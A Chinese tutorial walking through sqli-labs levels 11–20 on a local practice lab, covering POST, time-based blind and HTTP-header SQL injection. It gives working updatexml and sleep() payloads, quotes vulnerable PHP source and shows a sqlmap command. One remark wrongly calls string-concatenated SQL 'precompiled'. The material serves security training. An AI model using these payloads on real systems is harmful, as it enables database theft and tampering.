十一关

可以看到十一关和之前的十关是截然不同,偶尔也得换换口味才有新鲜感嘛!话不多说,开搞!

前言:这里有两个提交框,我们应该从哪里注入呢?这并不是困扰我们的问题。我们在实战中应该多方面测试,两个框都测试一下,那个可以就搞那个咯!多搞点不亏的!咳咳咳。第一步:判断参数接受的类型。
账号:admin'      密码:1111         页面报错
账号:admin' #    密码:1111         登录成功(说明这一关存在弱口令,但我们要学习的是SQL注入)
账号:admin       密码:1111'        页面报错
账号:admin       密码:1111' #      页面正常    判断参数接受方式  password = '$password'  注意:这里我们注入点在 password 中,其实 username 也是可以的。我们分析下源码就清楚了。查看第一关的源码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";               参数类型判断正确!如果我们注入username,后面的语句都被我们注释掉了,那么就变成了:
@$sql="SELECT username, password FROM users WHERE username='admin'
这样就会直接登录成功,去数据库找damin用户并输出在页面中。如果我们一定要在username上面注入,可以这样(注意:这里的admin可以是随便任何字符,并不固定)
-admin") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #第二步:直接上报错注入语句
账号:admin
密码:-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #    成功获取数据库名

第三步:爆所有表名?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

后面爆列名,爆数据我就不重复了,前面十关的语句如果我们有收藏,这里直接复制粘贴即可!

这里有个小疑问:为什么前面都使用 --+ 注释后面的语句,到这里变  #  了。其实我也没搞懂,只是因为 --+ 在这里行不通,不行你试试!实战中我们两个都试一下就行了。

也可以使用工具sqlmap一把梭

由于这里是POST注入,我们需要抓个包,然后保存文档去跑第一步:输入账号密码,提交后,使用burp suite抓个包!

第二步:将抓包到的数据复制到一个txt文件,然后使用sqlmap工具来实现POST注入

最终效果

十二关

第一步:猜参数接受类型账号:admin'      密码:1111        页面正常
账号:admin"      密码:1111        页面报错     判断有 "  ,从页面的报错可以知道还有 ()
账号:admin") #   密码:1111        页面正常     判断参数接受方式:username = ("$username") 查看第十二关源码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";      判断正确  第二步:直接上使用报错语句
-admin") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

后面的不做重复,参考前面的关卡!!

十三关

这一关和十二关类似,区别在于参数的接受方式不同:

十二关:username = ("$username")                 双引号十三关:username = ('$username')                 单引号第十三关源码:@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

十四关

这一关更简单,使用的是 " 接受参数类型。

这一关使用的参数接受类型:password="$passwd" 第十四关源码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

后续操作看前面的关卡,不再重复!!

十五关

第一步:猜参数接受类型账号:admin'       密码:1111        页面正常
账号:admin"       密码:1111        页面正常
账号:admin')      密码:1111        页面正常    判断页面无论对错都不返回东西。只能上绝招!!第二步:延时注入账号:admin' and sleep(5)    页面停5秒        判断代码: username = ('$username')查看十五关源码:@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";            判断正确注意:延时注入语句 admin' and sleep(5)  前提是admin必须正确!!!不然无论如何页面都没反应。接下来的操作和前面关卡的延时注入一样。区别在于前面是 GET方式 注入,这里是 POST方式 注入。

小结:这关考核了延时注入,当然前面几关也可以延时注入,不过我们要节省时间,高效为主。不得已才用延时注入!

报错注入语句形式:?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+延时注入语句形式:admin") and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(5),1)  #

*可以发现,报错注入前面的参数只要出错,后面的语句就能执行。

*但是延时注入不同,我们必须保证前提条件admin正确,and后面的语句才会被执行。我们才能知道我们后面的语句是否正确!!!

十六关

这一关和十五关类似,也是使用延时注入!区别在于参数的接受方式不同:

十五关:admin' and sleep(5) #                        username = '$username'

十六关:admin") and sleep(5) #                      username = ("$username")

十七关

这一关页面提示了我们,重置密码。其实万变不离其宗!开搞!!!

第一步:猜参数接受方式账号:admin'   密码:111       页面显示更改失败
账号:admin"   密码:111       页面显示更改失败   到这里我们发现账号没注入点,那就试试注入密码
账号:admin    密码:111'      页面报错
账号:admin    密码:111' #    页面正常        判断接受方式为:password = '$password'查看十七关源码:@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;if($row){//echo '<font color= "#0000ff">';   $row1 = $row['username'];    //echo 'Your Login name:'. $row1;$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";mysql_query($update);echo "<br>";因为这一关是更改密码操作,我们看到了下面update语句中password接受方式,证明我们判断正确!!!
而且这里 username='$row1' 使用的是预编译,不存在注入点!第二步:我们知道了注入点在 password 直接上报错语句就好了!账号:admin
密码:-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

注意:我们判断参数接受的时候(账号:admin    密码:111' #    页面正常)这条语句会把我们数据库所有的账号密码改成 111 ,我们只需要重置下sqliabs数据库即可。如下

十八关

根据这一关的页面提示,我们的注入应该和your ip address is:127.0.0.1 有关,所以实战网页中把握每一处细节才能找到漏洞!

第一步:猜参数接受方式账号:admin'   密码:111       页面显示更改失败
账号:admin"   密码:111       页面显示更改失败   到这里我们发现账号没注入点,那就试试注入密码
账号:admin    密码:111'      页面显示更改失败
账号:admin    密码:111' #    页面显示更改失败   看来注入点不在账号密码中都没有,那我们模拟实战中普通用户正常登录康康
账号:admin    密码:admin        我的账号密码是这样的,你们的按自己的来

登录后,可以看见页面输出了我们的User-Agent头内容,大概猜到这关考的是请求头注入!不同什么是数据包请求头的小伙伴可以自己百度,这是基础来的!

我们使用抓包神器 burp suite 抓个包看看请求头内容

页面报错,说明存在注入,直接上报错语句。

这里我们根据前面关卡的经验,绞尽脑汁也未能跑出我们要看到的数据!所以我们只能去分析十八关源码。

我们这样去构造语句:

之前的报错语句写法' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #这一关的报错语句写法,可以看到后面多了个 ) ,目的是去闭合语句中前面的 ( 变成一个完整的()。这样VALUES就可以从括号中正常取值,我们的SQL语句就能被成功执行!' and updatexml(1,concat(0x7e,(select database()),0x7e),1)) #

成功跑出数据库名,后面的表名,列名就不再重复。主要学思路!

这一关如果不看源码,大部分的人都无法成功注入!所以通过多打靶场积累经验,这样实战才能得心应手!!!

当然也可以使用sqlmap神器一把梭

因为是注入UA头,所以 level 等级设置为 3
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-18/index.php?id=1 --level 3 --dbs

十九关

这一关和十八关类型一样,区别在于上一关在User-Agent注入,这一关在Referer中进行注入!!

二十关

这一关和十八关十九关类似,属于cookie注入!不过这里多考察了一个burp suite工具抓返回包的操作,通过抓登录后的返回包中修改cookie实现SQL注入!!!

找到注入点在cookie中,我们就可以使用之前的操作进行注入了。

总结:

1.第一关到第十关考察GET注入,而十一关到二十关注重考察的是POST注入,HTTP头部注入。

2.HTTP头部注入最常见的注入点:User-Agent注入、Referer注入、Cookie注入!

3.HTTP头部注入在实战中,我们需要注意页面显示的信息,有没有返回地址信息、cookie信息等。如果有,我们便可以尝试抓包注入。

4.POST注入和HTTP头部注入在sqlmap工具中的怎么使用注入语句,我们也要认真学好!!

在sqli-liabs学习SQL注入之旅(第十一关~第二十关)相关推荐

  1. 在sqli-liabs学习SQL注入之旅(第二十一关~第三十关)

    二十一关 打开这一关,开屏暴击.报错的大致意思是时区没有设置好,我们进入报错的文件,在php代码中加入中国时区的代码即可: date_default_timezone_set("PRC&qu ...

  2. 在sqli-liabs学习SQL注入之旅(第一关~第十关)

    第一关 1.联合注入 第一步:判断参数的类型?id=1' 页面报错 ?id=1' --+ 页面正常 判断参数接受类型为 字符型查看第一关源码:$sql="SELECT * FROM user ...

  3. 学习sql注入:猜测数据库_对于SQL的热爱:为什么要学习它以及它将如何帮助您...

    学习sql注入:猜测数据库 I recently read a great article by the esteemed @craigkerstiens describing why he feel ...

  4. 学习sql注入:猜测数据库_面向数据科学家SQL:学习简单方法

    学习sql注入:猜测数据库 We don't pick a hammer and look for nails - that would be an unusual way of solving pr ...

  5. 学习sql注入:猜测数据库_学习SQL:删除和更新数据SQL最佳实践

    学习sql注入:猜测数据库 Deleting and updating data is very common, but if performed without taking care, which ...

  6. 学习sql注入:猜测数据库_学习SQL:SQL数据类型

    学习sql注入:猜测数据库 What are SQL data types, why do we need them, and how to use them? Today, we'll try to ...

  7. 渗透学习-SQL注入篇-基础知识的学习(持续更新中)

    提示:仅供进行学习使用,请勿做出非法的行为.如若由任何违法行为,将依据法律法规进行严惩!!! 文章目录 前言 一.SQL注入产生的原因 二.手工注入大致过程 1.判断注入点: 2.猜解列名 3.猜解能 ...

  8. web安全学习-sql注入-针对mysql的攻击

    文章目录 1. 前言 补充:读取客户端本地文件到服务端mysql数据库 补充:利用全局日志写shell 补充:修改mysql的root密码 补充:配置远程登录 补充:低权限下读文件 补充:高版本mys ...

  9. 关于DVWA的学习-SQL注入

    关于DVWA的学习-SQL注入 low Background 一般的查询语句的结构如下: SELECT column_name FROM table_name WHERE ID=$id 我们输入的内容 ...

最新文章

  1. php 正则中文匹配
  2. vue接入萤石云_智能家居不香吗?萤石转型:或者臣妾做不到,或者费力不讨好...
  3. 使用职责链模式来重构你的代码
  4. ASP.NET自定义错误页面(转)
  5. js验证input输入框(字母,数字,符号,中文)
  6. 2020牛客国庆集训派对day4 What Goes Up Must Come Down
  7. Vue中 $ref 的用法
  8. PyCharm运行出现 Ignoring XDG_SESSION_TYPE=wayland on Gnome. Use QT_QPA_PLATFORM=wayland to run
  9. php连接mysql乱码原因_PHP连接MYSQL出现乱码的原因与解决办法
  10. 最新版的SSM框架spring5.0搭建教程(附源码)
  11. winrar5.31 专用激活key
  12. 读书笔记——WebKit技术内幕 WebKit架构和模块
  13. 寻找 JAVA 控件,彗都控件网\中国控件网(http://***)http://www.componentcn.com/
  14. 3w服务器把信息组织成,HTML小白入坑日记~qwq
  15. 高等数学笔记-乐经良老师-第六章-微分方程
  16. Qt项目-------掌上银行(客户端)
  17. latex 论文致谢
  18. CVPR 2022 论文列表(持续更新)
  19. 按照动物、宠物、猫和蜘蛛的关系,通过编程实现各自的关系并声明自己的属性和方法(C++)
  20. android分辨率 尺寸 dpi换算

热门文章

  1. 网站服务安全访问(HTTPS)
  2. [计算机数值分析]直线拟合的最小二乘法
  3. 使用poi操作word文档实现套打功能
  4. 【记忆中的CASIO】
  5. msvc2017配置qt5.12.8 x86和x64库版本切换
  6. 微信小程序-动态验证码
  7. AWS认证攻略 – E哥的AWS Solution Architecture Associate 认证攻略
  8. Ansible剧本示例
  9. 基于Java+SpringBoot+Vue+uniapp微信小程序零食商城系统设计和实现
  10. Python机器学习笔记之pandas绘图